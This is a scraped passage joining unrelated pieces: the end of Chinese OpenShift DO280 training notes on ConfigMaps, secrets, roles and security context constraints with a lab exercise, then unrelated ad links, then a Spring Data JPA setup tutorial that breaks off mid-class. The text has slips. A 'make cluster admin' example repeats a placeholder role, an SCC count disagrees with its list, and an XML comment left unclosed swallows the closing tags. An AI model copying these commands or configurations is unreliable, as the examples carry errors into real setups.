    ConfigMaps對象類似於secret,但其設計目的是支持處理不包含敏感信息的字符串。ConfigMap對象持有配置數據的鍵值對,這些配置數據可以在pods中使用,或者用於存儲系統組件(如控制器)的配置數據。

    ConfigMap對象提供了將配置數據注入容器的機制。ConfigMap存儲精細的粒度信息,比如單個屬性,或者詳細信息,比如整個配置文件或JSON blob。

    7.2 CLI創建ConfigMap


    可以使用–from-literal選項從CLI創建ConfigMap對象。

    示例:創建一個ConfigMap對象,該對象將IP地址172.20.30.40分配給名為serverAddress的ConfigMap密鑰。

      1 [user@demo ~]$ oc create configmap special-config \
      2 --from-literal=serverAddress=172.20.30.40
      3 [user@demo ~]$ oc get configmaps special-config -o yaml		#查看configMap
      4 apiVersion: v1
      5 data:
      6   key1: serverAddress=172.20.30.40
      7 kind: ConfigMap
      8 metadata:
      9   creationTimestamp: 2017-07-10T17:13:31Z
     10   name: special-config
     11 ……
     12 在配置映射的pod定義中填充環境變量APISERVER。
     13 env:
     14   - name: APISERVER
     15       valueFrom:
     16         configMapKeyRef:
     17           name: special-config
     18           key: serverAddress


    7.3 web管理ConfigMap


    從web控制台管理ConfigMap對象:

    1. 以授權用戶身份登錄到web控制台。

    2. 創建或選擇一個項目來承載ConfigMap。

    3. 導航到資源→配置映射。

    八 加密練習

    8.1 前置準備


    準備完整的OpenShift集群,參考《003.OpenShift網絡》2.1。

    8.2 本練習準備


    [student@workstation ~]$ lab secure-secrets setup

    8.3 創建項目

      1 [student@workstation ~]$ oc login -u developer -p redhat
      2 [student@workstation ~]$ cd /home/student/DO280/labs/secure-secrets/
      3 [student@workstation secure-secrets]$ less mysql-ephemeral.yml		#導入本環境MySQL模板







    模板解讀:

    該mysql-ephemeral.yml模板文件,包含openshift項目中的mysql臨時模板,pod所需的其他環境變量由模板參數初始化,並具有默認值。

    但沒有secret定義,後續操作將手動創建模板所需的secret。

    根據模板的要求,創建一個包含MySQL容器image使用的憑證的secret,將這個secret命名為mysql。

    • 應用程序訪問的數據庫用戶名由database-user定義。
    • 數據庫用戶的密碼由database-password定義。
    • 數據庫管理員密碼由database-root-password定義

    8.4 創建新secret

      1 [student@workstation secure-secrets]$ oc create secret generic mysql \
      2 --from-literal='database-user'='mysql' \
      3 --from-literal='database-password'='redhat' \
      4 --from-literal='database-root-password'='do280-admin'
      5 [student@workstation secure-secrets]$ oc get secret mysql -o yaml	#確認secret




    8.5 創建應用

      1 [student@workstation secure-secrets]$ oc new-app --file=mysql-ephemeral.yml
      2 [student@workstation secure-secrets]$ oc get pods		#確認應用
      3 NAME            READY     STATUS    RESTARTS   AGE
      4 mysql-1-j4fnz   1/1       Running   0          1m


    8.6 端口轉發

      1 [student@workstation secure-secrets]$ cd
      2 [student@workstation ~]$ oc port-forward mysql-1-j4fnz 3306:3306



    提示:驗證完成之前forward不要關閉。

    8.7 確認驗證

      1 [student@workstation ~]$ mysql -uroot -pdo280-admin -h127.0.0.1	#新開終端測試MySQL



    九 管理security policy

    9.1 OCP authorization授權


    OCP定義了用戶可以執行的兩組主要操作:

    與項目相關的操作(也稱為本地策略):project-related

    與管理相關的操作(也稱為集群策略):administration-related

    由於這兩種策略都有大量可用的操作,所以將一些操作分組並定義為角色。














    默認角色 描述
    cluster-admin 此角色中的所有用戶都可以管理OpenShift集群。
    cluster-status 此角色中的所有用戶都提供對集群信息的只讀訪問。


    為管理本地政策,OCP提供以下角色:




















    默認角色 描述
    edit 角色中的用戶可以從項目中創建、更改和刪除公共應用程序資源,比如service和dc。 但是不能對限制範圍和配額等管理資源採取行動,也不能管理對項目的訪問權限。
    basic-user 角色中的用戶具有對項目的讀訪問權。
    self-provisioner 角色中的用戶可以創建新項目。這是一個集群角色,而不是項目角色。
    admin 角色中的用戶可以管理項目中的所有資源,包括授予對項目的其他用戶的訪問權


    除了能夠創建新應用程序之外,admin角色還允許用戶訪問項目資源,比如配額和限制範圍。

    edit角色允許用戶在項目中充當開發人員,但要在項目管理員配置的約束下工作。

    9.2 相關命令

      1 向集群用戶添加角色
      2 $ oc adm policy add-cluster-role-to-user cluster-role username
      3 示例:將普通用戶更改為集群管理員。
      4 $ oc adm policy add-cluster-role-to-user cluster-role username
      5 從用戶中刪除集群角色
      6 $ oc adm policy remove-cluster-role-from-user cluster-role username
      7 示例:將集群管理員更改為普通用戶。
      8 $ oc adm policy remove-cluster-role-from-user cluster-admin username
      9 將指定的用戶綁定到項目中的角色
     10 $ oc adm policy add-role-to-user role-name username -n project
     11 示例:在WordPress項目中dev用戶綁定basic-user角色。
     12 $ oc adm policy add-role-to-user basic-user dev -n wordpress


    9.3 權限及規則


    OpenShift將一組規則集合成一個角色,規則由謂詞和資源定義。如create user是OpenShift中的一條規則,它是一個名為cluster-admin的角色的所擁有的權限的一部分。

      1 $ oc adm policy who-can delete user

    9.4 user類型


    與OCP的交互基於用戶,OCP的user對象表示可以通過向該用戶或用戶組添加角色來從而實現相應權限的授予。

    Regular users:通常以這種用戶類型與OCP交互,常規用戶用User對象表。例如,user1,user2。

    System users:通常在安裝OCP中定義基礎設施時自動創建的,主要目的是使基礎設施能夠安全地與API交互。包括集群管理員(可以訪問所有內容)、每個節點的用戶、路由器和內部倉庫使用的用戶,以及各種其他用戶。還存在一個匿名系統用戶,默認情況下,該用戶用於未經身份驗證的請求。system user主要包括:system:admin、system:openshift-registry和system:node:node1.example.com。

    Service accounts:這些是與項目關聯的特殊系統用戶。有些是在第一次創建項目時自動創建的,項目管理員可以創建多個,以便定義對每個項目內容的訪問。Service accounts由ServiceAccount對象表示。Service accounts主要包括:system:serviceaccount:default:deployer和system:serviceaccount:foo:builder。

    每個用戶在訪問OpenShift容器平台之前必須進行身份驗證。沒有身份驗證或身份驗證無效的API請求將使用匿名系統用戶身份驗證來請求服務。身份驗證成功后,策略確定用戶被授權做什麼。

    9.5 安全上下文約束(SCCS)


    OpenShift提供了一種名為安全上下文約束的安全機制,它限制對資源的訪問,但不限制OpenShift中的操作。

    SCC限制從OpenShift中運行的pod到主機環境的訪問:

    • 運行特權容器
    • 請求容器的額外功能
    • 使用主機目錄作為卷
    • 更改容器的SELinux上下文
    • 更改用戶ID


    社區開發的一些容器可能需要放鬆安全上下文約束,因為它們可能需要訪問默認禁止的資源,例如文件系統、套接字或訪問SELinux上下文。

    OpenShift定義的安全上下文約束(SCCs)可以使用以下命令作為集群管理員列出。

    $ oc get scc

    SCC通常有以下7中SCCS:

    • anyuid
    • hostaccess
    • hostmount-anyuid
    • nonroot
    • privileged
    • restricted(默認)


    $ oc describe scc anyuid #查看某一種SCC詳情

    OpenShift創建的所有容器都使用restricted類型的SCC,它提供了對OpenShift外部資源的有限訪問。

    對於anyuid安全上下文,run as user策略被定義為RunAsAny,表示pod可以作為容器中可用的任何用戶ID運行。這允許需要特定用戶使用特定用戶ID運行命令的容器。

    要將容器更改為使用不同的SCC運行,需要創建綁定到pod的服務帳戶。

    $ oc create serviceaccount service-account-name #首先創建服務賬戶

    $ oc adm policy add-scc-to-user SCC -z service-account #將服務帳戶與SCC關聯

    要確定哪個帳戶可以創建需要更高安全性要求的pod,可以使用scc-subject-review子命令。

    $ oc export pod pod-name > output.yaml

    $ oc adm policy scc-subject-review -f output.yaml

    9.6 OpenShift與SELinux


    OpenShift要求在每個主機上啟用SELinux,以便使用強制訪問控制提供對資源的安全訪問。同樣,由OpenShift管理的Docker容器需要管理SELinux上下文,以避免兼容性問題。

    為了最小化在不支持SELinux的情況下運行容器的風險,可以創建SELinux上下文策略。

    為了更新SELinux上下文,可以使用現有的SCC作為起點生成一個新的SCC。

    $ oc export scc restricted > custom_selinux.yml #導出默認的SCC

    編輯導出的YAML文件以更改SCC名稱和SELinux上下文。

    $ oc create -f yaml_file #使用修改后的ymal重新創建一個SCC

    9.7 特權容器


    有些容器可能需要訪問主機的運行時環境。S2I構建器容器需要訪問宿主docker守護進程來構建和運行容器。

    例如,S2I構建器容器是一類特權容器,它要求訪問超出其自身容器的限制。這些容器可能會帶來安全風險,因為它們可以使用OpenShift節點上的任何資源。通過創建具有特權訪問權的服務帳戶,可以使用SCCs啟用特權容器的訪問。

    十 資源訪問控制綜合實驗

    10.1 前置準備


    準備完整的OpenShift集群,參考《003.OpenShift網絡》2.1。

    10.2 本練習準備

      1 [student@workstation ~]$ lab secure-review setup

    10.3 創建用戶

      1 [root@master ~]# htpasswd /etc/origin/master/htpasswd user-review
      2 New password: 【redhat】
      3 Re-type new password: 【redhat】


    10.4 修改策略

      1 [student@workstation ~]$ oc login -u admin -p redhat
      2 [student@workstation ~]$ oc adm policy remove-cluster-role-from-group \
      3 self-provisioner system:authenticated system:authenticated:oauth
      4 禁用所有常規用戶的項目創建功能


    10.5 確認驗證

      1 [student@workstation ~]$ oc login -u user-review -p redhat
      2 [student@workstation ~]$ oc new-project test			#普通用戶無法創建項目
      3 Error from server (Forbidden): You may not request a new project via this API.


    10.6 創建項目

      1 [student@workstation ~]$ oc login -u admin -p redhat
      2 [student@workstation ~]$ oc new-project secure-review		#使用管理員創建項目


    10.7 授權用戶

      1 [student@workstation ~]$ oc project secure-review
      2 Already on project "secure-review" on server "https://master.lab.example.com:443".
      3 [student@workstation ~]$ oc policy add-role-to-user edit user-review	#將edit的role和user-review進行關聯


    10.8 測試訪問

      1 [student@workstation ~]$ oc login -u user-review -p redhat
      2 [student@workstation ~]$ oc project secure-review		#測試訪問
      3 Already on project "secure-review" on server "https://master.lab.example.com:443".


    10.9 檢查模板

      1 [student@workstation ~]$ cd /home/student/DO280/labs/secure-review/
      2 [student@workstation secure-review]$ less mysql-ephemeral.yml





    模板解讀:

    該mysql-ephemeral.yml模板文件,包含openshift項目中的mysql臨時模板,pod所需的其他環境變量由模板參數初始化,並具有默認值。

    但沒有secret定義,後續操作將手動創建模板所需的secret。

    根據模板的要求,創建一個包含MySQL容器image使用的憑證的secret,將這個secret命名為mysql。

    • 應用程序訪問的數據庫用戶名由database-user定義。
    • 數據庫用戶的密碼由database-password定義。
    • 數據庫管理員密碼由database-root-password定義


    使用user-review developer用戶創建一個名為mysql的secret。這個secret應該存儲用戶名mysql、密碼redhat和數據庫管理員密碼do280-admin。

    數據庫用戶名由database-user定義。此用戶的密碼由mysql secret密鑰定義。

    數據庫管理員密碼由database-root-password定義。

    10.10 創建secret

      1 [student@workstation secure-review]$ oc create secret generic mysql \
      2 --from-literal='database-user'='mysql' \
      3 --from-literal='database-password'='redhat' \
      4 --from-literal='database-root-password'='do280-admin'
      5 [student@workstation secure-review]$ oc get secret mysql -o yaml	#確認驗證secret


    10.11 部署應用

      1 [student@workstation secure-review]$ oc new-app --file=mysql-ephemeral.yml
      2 [student@workstation secure-review]$ oc get pods
      3 NAME            READY     STATUS    RESTARTS   AGE
      4 mysql-1-2lr7t   1/1       Running   0          31s


    10.12 轉發端口

      1 [student@workstation ~]$ oc port-forward mysql-1-2lr7t 3306:3306

    10.13 測試訪問

      1 [student@workstation ~]$ mysql -umysql -predhat -h127.0.0.1

    10.14 部署phpmyadmin應用


    使用內部倉庫registry.lab.example.com的image部署phpmyadmin:4.7容器。phpmyadmin:4.7容器需要名為PMA_HOST的環境變量來提供MySQL服務器的IP地址。

    使用模板創建一個基於FQND的MySQL pod的service。

    為使用模板創建的MySQL服務器pod使用服務FQDN,該模板是mysql.secure-review.svc.cluster.local。

      1 [student@workstation ~]$ oc new-app --name=phpmyadmin \
      2 --docker-image=registry.lab.example.com/phpmyadmin/phpmyadmin:4.7 \
      3 -e PMA_HOST=mysql.secure-review.svc.cluster.local






    結論:該命令會發出警告,提示需要root特權。默認情況下,OpenShift不支持使用操作系統的root用戶運行容器。

    10.15 查看pod

      1 [student@workstation ~]$ oc get pods
      2 NAME                 READY     STATUS    RESTARTS   AGE
      3 mysql-1-2lr7t        1/1       Running   0          8m
      4 phpmyadmin-1-v7tl7   0/1       Error     2          1m
      5 因為沒有root權限,因此部署失敗,需要提權。


    10.16 授予權限

      1 [student@workstation ~]$ oc login -u admin -p redhat			#使用管理員登錄
      2 [student@workstation ~]$ oc create serviceaccount phpmyadmin-account	#首先創建服務賬戶
      3 [student@workstation ~]$ oc adm policy add-scc-to-user anyuid -z phpmyadmin-account
      4 scc "anyuid" added to: ["system:serviceaccount:secure-review:phpmyadmin-account"]	#將服務帳戶與anyuid安全上下文關聯


    10.17 更新應用

      1 [student@workstation ~]$ oc patch dc phpmyadmin --patch='{"spec":{"template":{"spec":{"serviceAccountName": "phpmyadmin-account"}}}}'


    #更新負責管理phpmyadmin的dc資源,任何開發人員用戶都可以執行此操作。

    本環境中,相關操作命令可以從/home/student/DO280/labs/secure-review文件夾中的patch-dc.sh腳本運行或複製。

    10.18 確認驗證

      1 [student@workstation ~]$ oc login -u user-review -p redhat
      2 [student@workstation ~]$ oc get pods			#確認pod是否正常
      3 NAME                 READY     STATUS    RESTARTS   AGE
      4 mysql-1-2lr7t        1/1       Running   0          13m
      5 phpmyadmin-2-bdjvq   1/1       Running   0          1m


    10.19 暴露服務

      1 [student@workstation ~]$ oc expose svc phpmyadmin --hostname=phpmyadmin.apps.lab.example.com

    10.20 訪問測試

      1 [student@workstation ~]$ curl -s http://phpmyadmin.apps.lab.example.com

    10.21 確認及刪除

      1 [student@workstation ~]$ lab secure-review grade		#環境腳本判斷
      2 [student@workstation ~]$ oc login -u admin -p redhat
      3 [student@workstation ~]$ oc adm policy add-cluster-role-to-group \
      4 self-provisioner system:authenticated system:authenticated:oauth
      5 [student@workstation ~]$ oc delete project secure-review
      6 [student@workstation ~]$ ssh root@master htpasswd -D \
      7 /etc/origin/master/htpasswd user-review			#刪除用戶
      8 [student@workstation ~]$ oc delete user user-review		#刪除項目

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※教你寫出一流的銷售文案?

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※回頭車貨運收費標準

    ※別再煩惱如何寫文案,掌握八大原則!

    ※超省錢租車方案

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • Spring Data JPA

    Spring Data JPA

    一、JPA概述:

      JPA的全稱是Java Persistence API, 即Java 持久化API,是SUN公司推出的一套基於ORM的規範,內部是由一系列的接口和抽象類構成。JPA通過JDK 5.0註解描述對象-關係表的映射關係,並將運行期的實體對象持久化到數據庫中。

      JPA的優勢:標準化、容器級特性的支持、簡單方便、查詢能力、高級特性

    二、JPA與Hibernate的關係:

      JPA規範本質上就是一種ORM規範,注意不是ORM框架——因為JPA並未提供ORM實現,它只是制訂了一些規範,提供了一些編程的API接口,但具體實現則由服務廠商來提供實現。JPAHibernate的關係就像JDBCJDBC驅動的關係,JPA是規範,Hibernate除了作為ORM框架之外,它也是一種JPA實現。

     

     

     

    三、JPA環境搭建:

    1、創建一個maven工程,在pom.xml中導入對應的坐標

     1    <properties>
     2         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
     3         <project.hibernate.version>5.0.7.Final</project.hibernate.version>
     4     </properties>
     5 
     6     <dependencies>
     7         <!-- junit -->
     8         <dependency>
     9             <groupId>junit</groupId>
    10             <artifactId>junit</artifactId>
    11             <version>4.12</version>
    12             <scope>test</scope>
    13         </dependency>
    14 
    15         <!-- hibernate對jpa的支持包 -->
    16         <dependency>
    17             <groupId>org.hibernate</groupId>
    18             <artifactId>hibernate-entitymanager</artifactId>
    19             <version>${project.hibernate.version}</version>
    20         </dependency>
    21 
    22         <!-- c3p0 -->
    23         <dependency>
    24             <groupId>org.hibernate</groupId>
    25             <artifactId>hibernate-c3p0</artifactId>
    26             <version>${project.hibernate.version}</version>
    27         </dependency>
    28 
    29         <!-- log日誌 -->
    30         <dependency>
    31             <groupId>log4j</groupId>
    32             <artifactId>log4j</artifactId>
    33             <version>1.2.17</version>
    34         </dependency>
    35 
    36         <!-- Mysql and MariaDB -->
    37         <dependency>
    38             <groupId>mysql</groupId>
    39             <artifactId>mysql-connector-java</artifactId>
    40             <version>5.1.6</version>
    41         </dependency>
    42     </dependencies>

    2、編寫實體類和數據表的映射配置,創建實體類以後,使用對應的註釋配置映射關係

         @Entity
                作用:指定當前類是實體類。
            @Table
                作用:指定實體類和表之間的對應關係。
                屬性:
                    name:指定數據庫表的名稱
            @Id
                作用:指定當前字段是主鍵。
            @GeneratedValue
                作用:指定主鍵的生成方式。。
                屬性:
                    strategy :指定主鍵生成策略。
            @Column
                作用:指定實體類屬性和數據庫表之間的對應關係
                屬性:
                    name:指定數據庫表的列名稱。
                    unique:是否唯一  
                    nullable:是否可以為空  
                    inserttable:是否可以插入  
                    updateable:是否可以更新  
                    columnDefinition: 定義建表時創建此列的DDL  
                    secondaryTable: 從表名。如果此列不建在主表上(默認建在主表),該屬性定義該列所在從表的名字搭建開發環境[重點]

    3、配置JPA的核心配置文件

    在java工程的src路徑下創建一個名為META-INF的文件夾,在此文件夾下創建一個名為persistence.xml的配置文件

    <?xml version="1.0" encoding="UTF-8"?>
    <persistence xmlns="http://java.sun.com/xml/ns/persistence"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://java.sun.com/xml/ns/persistence  
        http://java.sun.com/xml/ns/persistence/persistence_2_0.xsd"
        version="2.0">
        <!--配置持久化單元 
            name:持久化單元名稱 
            transaction-type:事務類型
                 RESOURCE_LOCAL:本地事務管理 
                 JTA:分佈式事務管理 -->
        <persistence-unit name="myJpa" transaction-type="RESOURCE_LOCAL">
            <!--配置JPA規範的服務提供商 -->
            <provider>org.hibernate.jpa.HibernatePersistenceProvider</provider>
            <properties>
                <!-- 數據庫驅動 -->
                <property name="javax.persistence.jdbc.driver" value="com.mysql.jdbc.Driver" />
                <!-- 數據庫地址 -->
                <property name="javax.persistence.jdbc.url" value="jdbc:mysql://localhost:3306/jpa" />
                <!-- 數據庫用戶名 -->
                <property name="javax.persistence.jdbc.user" value="root" />
                <!-- 數據庫密碼 -->
                <property name="javax.persistence.jdbc.password" value="111111" />
    
                <!--jpa提供者的可選配置:我們的JPA規範的提供者為hibernate,所以jpa的核心配置中兼容hibernate的配 -->
    <property name="hibernate.show_sql" value="true" /> <property name="hibernate.format_sql" value="true" />
            
           <!--自動創建數據庫表:create(運行時創建表),update(如過有表則不創建表),none(不創建表) <property name="hibernate.hbm2ddl.auto" value="create" /> </properties> </persistence-unit> </persistence>

    4、測試數據庫操作

    通過調用EntityManager的方法完成獲取事務,以及持久化數據庫的操作

    方法說明:    
        getTransaction : 獲取事務對象
        persist : 保存操作
        merge : 更新操作
        remove : 刪除操作
        find/getReference : 根據id查詢
     1 @Test
     2     public void test() {
     3         /**
     4          * 創建實體管理類工廠,藉助Persistence的靜態方法獲取
     5          *         其中傳遞的參數為持久化單元名稱,需要jpa配置文件中指定
     6          */
     7         EntityManagerFactory factory = Persistence.createEntityManagerFactory("myJpa");
     8         //創建實體管理類
     9         EntityManager em = factory.createEntityManager();
    10         //獲取事務對象
    11         EntityTransaction tx = em.getTransaction();
    12         //開啟事務
    13         tx.begin();
    14         Customer c = new Customer();
    15         c.setCustName("天地壹號");
    16         //保存操作
    17         em.persist(c);
    18         //提交事務
    19         tx.commit();
    20         //釋放資源
    21         em.close();
    22         factory.close();
    23     }

    6、抽取JPAUtil工具類,通過工具類生成實體類管理器對象

    package top.biyenanhai.dao;
    
    import javax.persistence.EntityManager;
    import javax.persistence.EntityManagerFactory;
    import javax.persistence.Persistence;
    
    public final class JPAUtil {
        // JPA的實體管理器工廠:相當於Hibernate的SessionFactory
        private static EntityManagerFactory em;
        // 使用靜態代碼塊賦值
        static {
            // 注意:該方法參數必須和persistence.xml中persistence-unit標籤name屬性取值一致
            em = Persistence.createEntityManagerFactory("myPersistUnit");
        }
    
        /**
         * 使用管理器工廠生產一個管理器對象
         * 
         * @return
         */
        public static EntityManager getEntityManager() {
            return em.createEntityManager();
        }
    }

     

    三、Spring Data JPA概述:

      Spring Data JPA 是 Spring 基於 ORM 框架、JPA 規範的基礎上封裝的一套JPA應用框架,可使開發者用極簡的代碼即可實現對數據庫的訪問和操作。它提供了包括增刪改查等在內的常用功能,且易於擴展!學習並使用 Spring Data JPA 可以極大提高開發效率!Spring Data JPA 讓我們解脫了DAO層的操作,基本上所有CRUD都可以依賴於它來實現,在實際的工作工程中,推薦使用Spring Data JPA + ORM(如:hibernate)完成操作,這樣在切換不同的ORM框架時提供了極大的方便,同時也使數據庫層操作更加簡單,方便解耦。

    四、Spring Data JPA 與 JPA和hibernate之間的關係:

      JPA是一套規範,內部是有接口和抽象類組成的。hibernate是一套成熟的ORM框架,而且Hibernate實現了JPA規範,所以也可以稱hibernate為JPA的一種實現方式,我們使用JPA的API編程,意味着站在更高的角度上看待問題(面向接口編程)。Spring Data JPA是Spring提供的一套對JPA操作更加高級的封裝,是在JPA規範下的專門用來進行數據持久化的解決方案。

    五、Spring Data JPA快速搭建開發環境:

    1、創建maven工程,導入Spring Data JPA的坐標

      1    <properties>
      2         <spring.version>4.2.4.RELEASE</spring.version>
      3         <hibernate.version>5.0.7.Final</hibernate.version>
      4         <slf4j.version>1.6.6</slf4j.version>
      5         <log4j.version>1.2.12</log4j.version>
      6         <c3p0.version>0.9.1.2</c3p0.version>
      7         <mysql.version>5.1.6</mysql.version>
      8     </properties>
      9 
     10     <dependencies>
     11         <!-- junit單元測試 -->
     12         <dependency>
     13             <groupId>junit</groupId>
     14             <artifactId>junit</artifactId>
     15             <version>4.12</version>
     16             <scope>test</scope>
     17         </dependency>
     18         
     19         <!-- spring beg -->
     20         <dependency>
     21             <groupId>org.aspectj</groupId>
     22             <artifactId>aspectjweaver</artifactId>
     23             <version>1.6.8</version>
     24         </dependency>
     25 
     26         <dependency>
     27             <groupId>org.springframework</groupId>
     28             <artifactId>spring-aop</artifactId>
     29             <version>${spring.version}</version>
     30         </dependency>
     31 
     32         <dependency>
     33             <groupId>org.springframework</groupId>
     34             <artifactId>spring-context</artifactId>
     35             <version>${spring.version}</version>
     36         </dependency>
     37 
     38         <dependency>
     39             <groupId>org.springframework</groupId>
     40             <artifactId>spring-context-support</artifactId>
     41             <version>${spring.version}</version>
     42         </dependency>
     43 
     44         <dependency>
     45             <groupId>org.springframework</groupId>
     46             <artifactId>spring-orm</artifactId>
     47             <version>${spring.version}</version>
     48         </dependency>
     49 
     50         <dependency>
     51             <groupId>org.springframework</groupId>
     52             <artifactId>spring-beans</artifactId>
     53             <version>${spring.version}</version>
     54         </dependency>
     55 
     56         <dependency>
     57             <groupId>org.springframework</groupId>
     58             <artifactId>spring-core</artifactId>
     59             <version>${spring.version}</version>
     60         </dependency>
     61         
     62         <!-- spring end -->
     63 
     64         <!-- hibernate beg -->
     65         <dependency>
     66             <groupId>org.hibernate</groupId>
     67             <artifactId>hibernate-core</artifactId>
     68             <version>${hibernate.version}</version>
     69         </dependency>
     70         <dependency>
     71             <groupId>org.hibernate</groupId>
     72             <artifactId>hibernate-entitymanager</artifactId>
     73             <version>${hibernate.version}</version>
     74         </dependency>
     75         <dependency>
     76             <groupId>org.hibernate</groupId>
     77             <artifactId>hibernate-validator</artifactId>
     78             <version>5.2.1.Final</version>
     79         </dependency>
     80         <!-- hibernate end -->
     81 
     82         <!-- c3p0 beg -->
     83         <dependency>
     84             <groupId>c3p0</groupId>
     85             <artifactId>c3p0</artifactId>
     86             <version>${c3p0.version}</version>
     87         </dependency>
     88         <!-- c3p0 end -->
     89 
     90         <!-- log end -->
     91         <dependency>
     92             <groupId>log4j</groupId>
     93             <artifactId>log4j</artifactId>
     94             <version>${log4j.version}</version>
     95         </dependency>
     96 
     97         <dependency>
     98             <groupId>org.slf4j</groupId>
     99             <artifactId>slf4j-api</artifactId>
    100             <version>${slf4j.version}</version>
    101         </dependency>
    102 
    103         <dependency>
    104             <groupId>org.slf4j</groupId>
    105             <artifactId>slf4j-log4j12</artifactId>
    106             <version>${slf4j.version}</version>
    107         </dependency>
    108         <!-- log end -->
    109 
    110         
    111         <dependency>
    112             <groupId>mysql</groupId>
    113             <artifactId>mysql-connector-java</artifactId>
    114             <version>${mysql.version}</version>
    115         </dependency>
    116 
    117         <dependency>
    118             <groupId>org.springframework.data</groupId>
    119             <artifactId>spring-data-jpa</artifactId>
    120             <version>1.9.0.RELEASE</version>
    121         </dependency>
    122 
    123         <dependency>
    124             <groupId>org.springframework</groupId>
    125             <artifactId>spring-test</artifactId>
    126             <version>4.2.4.RELEASE</version>
    127         </dependency>
    128         
    129         <!-- el beg 使用spring data jpa 必須引入 -->
    130         <dependency>  
    131             <groupId>javax.el</groupId>  
    132             <artifactId>javax.el-api</artifactId>  
    133             <version>2.2.4</version>  
    134         </dependency>  
    135           
    136         <dependency>  
    137             <groupId>org.glassfish.web</groupId>  
    138             <artifactId>javax.el</artifactId>  
    139             <version>2.2.4</version>  
    140         </dependency> 
    141         <!-- el end -->
    142 
    143         <dependency>
    144             <groupId>javax.xml.bind</groupId>
    145             <artifactId>jaxb-api</artifactId>
    146             <version>2.3.0</version>
    147         </dependency>
    148         <dependency>
    149             <groupId>com.sun.xml.bind</groupId>
    150             <artifactId>jaxb-impl</artifactId>
    151             <version>2.3.0</version>
    152         </dependency>
    153         <dependency>
    154             <groupId>com.sun.xml.bind</groupId>
    155             <artifactId>jaxb-core</artifactId>
    156             <version>2.3.0</version>
    157         </dependency>
    158         <dependency>
    159             <groupId>javax.activation</groupId>
    160             <artifactId>activation</artifactId>
    161             <version>1.1.1</version>
    162         </dependency>
    163     </dependencies>
    164         

    2、整合Spring Data JPA與Spring

     1 <?xml version="1.0" encoding="UTF-8"?>
     2 <beans xmlns="http://www.springframework.org/schema/beans"
     3     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:aop="http://www.springframework.org/schema/aop"
     4     xmlns:context="http://www.springframework.org/schema/context"
     5     xmlns:jdbc="http://www.springframework.org/schema/jdbc" xmlns:tx="http://www.springframework.org/schema/tx"
     6     xmlns:jpa="http://www.springframework.org/schema/data/jpa" xmlns:task="http://www.springframework.org/schema/task"
     7     xsi:schemaLocation="
     8         http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
     9         http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop.xsd
    10         http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd
    11         http://www.springframework.org/schema/jdbc http://www.springframework.org/schema/jdbc/spring-jdbc.xsd
    12         http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx.xsd
    13         http://www.springframework.org/schema/data/jpa 
    14         http://www.springframework.org/schema/data/jpa/spring-jpa.xsd">
    15     
    16     <!-- 1.dataSource 配置數據庫連接池-->
    17     <bean id="dataSource" class="com.mchange.v2.c3p0.ComboPooledDataSource">
    18         <property name="driverClass" value="com.mysql.jdbc.Driver" />
    19         <property name="jdbcUrl" value="jdbc:mysql://localhost:3306/jpa" />
    20         <property name="user" value="root" />
    21         <property name="password" value="111111" />
    22     </bean>
    23     
    24     <!-- 2.配置entityManagerFactory -->
    25     <bean id="entityManagerFactory" class="org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean">
    26         <property name="dataSource" ref="dataSource" />
    27         <property name="packagesToScan" value="cn.itcast.entity" />
    28         <property name="persistenceProvider">
    29             <bean class="org.hibernate.jpa.HibernatePersistenceProvider" />
    30         </property>
    31         <!--JPA的供應商適配器-->
    32         <property name="jpaVendorAdapter">
    33             <bean class="org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter">
    34                 <property name="generateDdl" value="false" />
    35                 <property name="database" value="MYSQL" />
    36                 <property name="databasePlatform" value="org.hibernate.dialect.MySQLDialect" />
    37                 <property name="showSql" value="true" />
    38             </bean>
    39         </property>
    40         <property name="jpaDialect">
    41             <bean class="org.springframework.orm.jpa.vendor.HibernateJpaDialect" />
    42         </property>
    43     </bean>
    44     
    45     
    46     <!-- 3.事務管理器-->
    47     <!-- JPA事務管理器  -->
    48     <bean id="transactionManager" class="org.springframework.orm.jpa.JpaTransactionManager">
    49         <property name="entityManagerFactory" ref="entityManagerFactory" />
    50     </bean>
    51     
    52     <!-- 整合spring data jpa-->
    53     <jpa:repositories base-package="top.biyenanhai.mapper"
    54         transaction-manager-ref="transactionManager"
    55         entity-manager-factory-ref="entityManagerFactory"></jpa:repositories>
    56         
    57     <!-- 4.txAdvice-->
    58     <tx:advice id="txAdvice" transaction-manager="transactionManager">
    59         <tx:attributes>
    60             <tx:method name="*" propagation="REQUIRED"/>
    61             <tx:method name="get*" read-only="true"/>
    62             <tx:method name="find*" read-only="true"/>
    63         </tx:attributes>
    64     </tx:advice>
    65     
    66     <!-- 5.aop-->
    67     <aop:config>
    68         <aop:pointcut id="pointcut" expression="execution(* top.biyenanhai.service.*.*(..))" />
    69         <aop:advisor advice-ref="txAdvice" pointcut-ref="pointcut" />
    70     </aop:config>
    71     
    72     <context:component-scan base-package="cn.itcast"></context:component-scan>
    73     <!--6、配置包掃描-->
    74     <context:component-scan base-package="top.biyenanhai"/>
    75     <!--組裝其它 配置文件-->
    76     
    77 </beans>

    3、使用JPA註解配置映射關係

    package top.biyenanhai.entity;
    
    import javax.persistence.Column;
    import javax.persistence.Entity;
    import javax.persistence.GeneratedValue;
    import javax.persistence.GenerationType;
    import javax.persistence.Id;
    import javax.persistence.Table;
    
    /**
     * 
     *      * 所有的註解都是使用JPA的規範提供的註解,
     *      * 所以在導入註解包的時候,一定要導入javax.persistence下的
     */
    @Entity //聲明實體類
    @Table(name="cst_customer") //建立實體類和表的映射關係
    public class Customer {
        
        @Id//聲明當前私有屬性為主鍵
        @GeneratedValue(strategy=GenerationType.IDENTITY) //配置主鍵的生成策略
        @Column(name="cust_id") //指定和表中cust_id字段的映射關係
        private Long custId;
        
        @Column(name="cust_name") //指定和表中cust_name字段的映射關係
